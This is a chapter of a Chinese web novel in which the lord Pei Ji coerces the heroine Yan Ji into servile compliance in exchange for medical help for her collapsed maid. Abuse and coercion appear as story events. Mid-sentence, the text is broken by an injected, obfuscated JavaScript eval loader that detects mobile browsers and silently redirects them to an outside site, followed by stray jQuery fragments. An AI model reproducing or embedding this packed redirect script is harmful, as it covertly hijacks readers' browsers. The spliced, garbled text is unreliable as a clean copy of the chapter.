空折颜九冉

48. 第 48 章

    直到亲眼看着倒在雪地里的青萍被人抬进旁边的房间,颜霁一直紧绷着的神经才稍稍松了些。


    “去唤先生来。”


    颜霁下意识地吩咐身旁的绿云,冰天雪地的,青萍跪了这么久,叫都叫不醒,她不敢再往下往下去。


    可她说完,身旁立着的绿云似是不曾听见一般,还愣在原地。


    颜霁看了她一眼,见她愈发低下了头,颜霁深深地体会到了这个世界的可怖,她看向了裴济——冀州的主人。


    裴济睨笑着,仿佛眼前的一切,于他而言只是一个再平淡不过的场面了,这一条人命如同打在水面上的一颗石子,仅仅泛起一圈涟漪,惹不来任何人的注意。


    颜霁抬起头,看着他的笑,瞬间便领会了其中所隐含的意思。


    她回过了身,朝他郑重的施了一个礼,“青萍昏迷已久,还不知是个什么情况?还望您大发慈悲,召个先生来为她诊一诊。”


    裴济看着她垂着头恭恭敬敬的模样,嘴角勾起了一抹笑,他缓缓地开了口,“裴荟,去找人来看看。”


    说完,又看向了立在面前的人。


    颜霁感受到了他的目光,她知道这是一场交易,如今裴济已经做完了他该做的,下面就轮到她了。


    “请。”


    颜霁很客气,她面上很平静,亲自将人请进了屋内。


    “奉一盏茶来。”


    颜霁从绿云手中接过,亲自奉到裴济面前,可裴济看了一眼才接过,抬着茶盖轻轻刮着。


    裴济盯着立在面前的人,细细打量,他倒是没想到这女子如此能屈能伸,原以为她还会炸着浑身的刺,对自己瞪着那双眼睛,恨不得将自己千刀万剐。


    可他没料到,这女子会如此镇定,还能说出那般求他大发慈悲的话来,与几个时辰前在床榻上疯狂反抗的人截然不同,生像是换了个人。


    裴济盯着人看了半晌,手中的茶盖也刮了半晌,他一言不发,屋内也愈显静谧。


    颜霁同样,她的眼睛落在自己的手心上,听着断断续续的清脆的玎玲声,心里还是不可避免的紧张起来。


    裴济不紧不慢的拂着茶盖,余光注意到那紧握交叠在一起的双手,心中不免嗤笑。


    可见她这般镇定,不过是面上功夫。


    静默了片刻,浅饮了一口手中清茶,裴济才缓缓开口,问道,“你当真以为我是尊菩萨?”


    此话一出,颜霁的身子顿时僵硬了。


    菩萨?


    她当然明白,裴济是什么人,她太了解了。


    唯有那十八层地狱的恶鬼才能与之媲美。


    可颜霁什么都不能说,她只能死死压住心底的愤怒和恨意,面上一丝也不能表露出来。


    她明白,自己不能在这个时候惹怒他,青萍还在旁边的厢房,她危在旦夕,这个时候她不能只顾着自己,她只能强撑着内心的慌乱和无尽的恨意,逼迫自己走进那间内室。


    裴济将余下的清茶一饮而尽,放下茶盏,抬起步子,随着人进到了内室。


    几盏微弱的烛火若隐若现,颜霁走至床榻前,放下了一侧的帏帐,低头看向了身前的盘扣,缓缓举起了手。


    随之而来的裴济越过屏风,走至那桌案前,随即坐下。


    躲在那层帏帐后的颜霁自然听见了身后的脚步声,可她解衣的手指不能停下,忍着手腕处的疼痛,解开了身上的衣衫,露出娄氏为她做的那层白色的中衣。


    将褪下的衣衫放到楎架前,转身要回那床榻时,身后的人出声唤住了她。


    “过来。”


    颜霁顿了下,微不可查,随即转过身来,朝着那桌案一步步走近。


    裴济随意坐着,不似方才那般端重,两眼直白的打量着来人。


    明明是一个婢子,却能在自己面前挺直了脊背,藏在中衣下的纤弱身体,在微弱烛火中,半遮半掩的,又平添了几分味道。


    此刻,裴济再一次见识到了她身上的那股傲气,一股与生俱来的傲气。


    可他裴济偏不信,没有人能在自己面前挺直了脊背,再硬的骨头也能被他折断。


    裴济的目光中充满了征服的欲望,天下都在他裴氏一族的掌心中,尚且一无盐女子乎?


    裴济慵懒的坐着,等她走近,他才缓缓站起了身,张开了臂膀。


    颜霁瞬间明白,她不是没有伺候过裴济褪衣。


    她走近,再走近,直到她可以触碰到身上那件外衫,颜霁就停下了步子,拉住一侧袖子,褪下外衫,再伸手,便是那腰间的青色素帛束腰封带,轻轻一拉,这素帛束腰封带便轻而易举的落在了手中。


    封带下的是一件交领右衽窄袖衫,褪去后,里间也仅余下一件中衣。


    走至床榻前,裴济端坐,一动不动。


    颜霁顺着他的视线,落在那双藏色云缎镶玉锦靴上,她知道他的意思。


    已经忍到这个地步了,她不能忍不下去,打破现在的局面对她没有任何好处。


    颜霁走上前,随着蹲了下去,两只手抱起一只脚,将其放在了自己的膝盖上。


    那挺起的脚尖,似乎随时都有可能会碰到她的脸。


    可颜霁不在意。


    她牢牢握住了那脚踝处,轻轻往外一坉,一只靴子便被她取了下来。


    端坐的裴济俯视着蹲在身下的人,她垂着眉,睫毛投下的阴影掩住了她的双眸,鼻梁阴影落在紧紧抿着的唇瓣上,垂落在耳前的碎发随着她的动作轻晃了两下。


    不知不觉裴济伸出了手,缓缓靠近了那脸颊,身下忽然停顿的动作让裴济的手指也顿了下,但随即,那几根碎发还是捏在了指缝间。


    颜霁为他脱了靴子,却没再看那一层纯白软绸的高靿袜,虽然她已然放下了那两只脚,但被人捏着碎发,依旧站不起身来。


    裴济随手卷了两下,看着眼前的人蹲了半天,面上依然是镇定自若,一言不发。


    他颇感无趣,松开了手。


    颜霁起身,还没站直,眼前忽然出现了一圈银色的星星围着自己转,紧接着便是大片的黑红朝她涌过来,占据了她的眼睛和大脑。


    睁不开的眼睛,和不受控制往下栽的身体,这一刻,颜霁忽然意识到自己可能是低血糖了。


    出乎意料的没有疼痛,她的身体没有倒在地上,被一双胳膊接住了。


    颜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792161|170230||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    霁眨了眨眼,眼前还是一片黑暗,耳边的声音还听的一清二楚。


    与此同时,裴济收回了诊脉的手,看了眼倒在床榻上的人,起身离开。


    倒扔下一句“倒是会耍懒!”


    也只有这一句,颜霁身边安静了很久。


    “娘子,您张开口,婢子给您喂些喝些甜羹便好了。”


    颜霁听出来了,是那婢子的声音。


    她还不知道两人叫什么?


    但颜霁还是配合的张开了嘴巴,她更想睁开眼睛,可她再怎么用力,也睁不开,眼前完全被黑暗笼罩了。


    “您多喝些,好好睡一觉,明儿保准好了。”


    绿云半托着人,喂食的是叩香。


    两人配合着,用了一刻钟,堪堪将一小盏甜羹勉强喂了下去。


    “娘子的手腕又见红了。”


    叩香给颜霁褪衣衫时,发现了被染红的白色帕子。


    绿云上前,解了帕子,细细看了再次裂开的伤口,没有说话。


    包扎好伤口,涂了药,留下叩香守夜。


    绿云临走前交代道,“娘子这里一定守住了,再不能出乱子了,我去厢房那儿看看。”


    叩香点头应道,守在床榻边,紧紧盯着床榻上的人。


    颜霁虽然身体不受控制了,可她的意识还是清醒的。


    她听见了这两人的对话,她的脑子里浮现出青萍被大雪埋住大半个身子的场面,她不知道此刻青萍到底怎么样了?


    此刻的她无力做些什么,只能在心中默默祈祷,希望一切都还来得及。


    青萍还这么小,如果真的因为自己而产生了什么不可挽回的后果,她这一辈子都将在对青萍的愧疚中度过。


    她没有想到青萍还在这里,也许,连远山道长也没走成。


    他们都被裴济困在这里了。


    那沈易呢?


    颜霁的心有些慌,她就知道,裴济就是一个言而无信彻头彻尾的疯子。


    她居然还会相信他,她太天真了。


    她居然会以为裴济会真的愿意放他们离开,她明明知道裴济是什么人的,可她还是和魔鬼做了交易。


    那么,此刻呢?


    青萍真的得到救治了吗?


    沈易呢?


    他真的离开这个地方了吗?


    会不会也被裴济关了起来,准备随时威胁自己。


    他会不会又是在骗自己当着自己的面儿做一套,背地里又是另外一套。


    颜霁似乎陷入了一个怪圈。


    她极度厌恶痛恨裴济,甚至她已经有了切身体会,可她又不能不向他求助。


    可即便如此,她甚至不知道这一切又是不是他在骗自己?


    颜霁找不到出路,她的脑子似乎就要爆炸了,她的脑子乱成了一团,根本无法继续思考。


    颜霁痛恨自己,被裴济轻而易举的玩弄在股掌之中,她成了无头苍蝇,又不得不逼迫自己去服从一个疯子。


    此刻,她甚至有些庆幸,暂且逃离了裴济的毒手,即便这只是她一时的自欺欺人。


    困在这深深庭院,三五步都是守卫的兵士,她又能逃到哪里?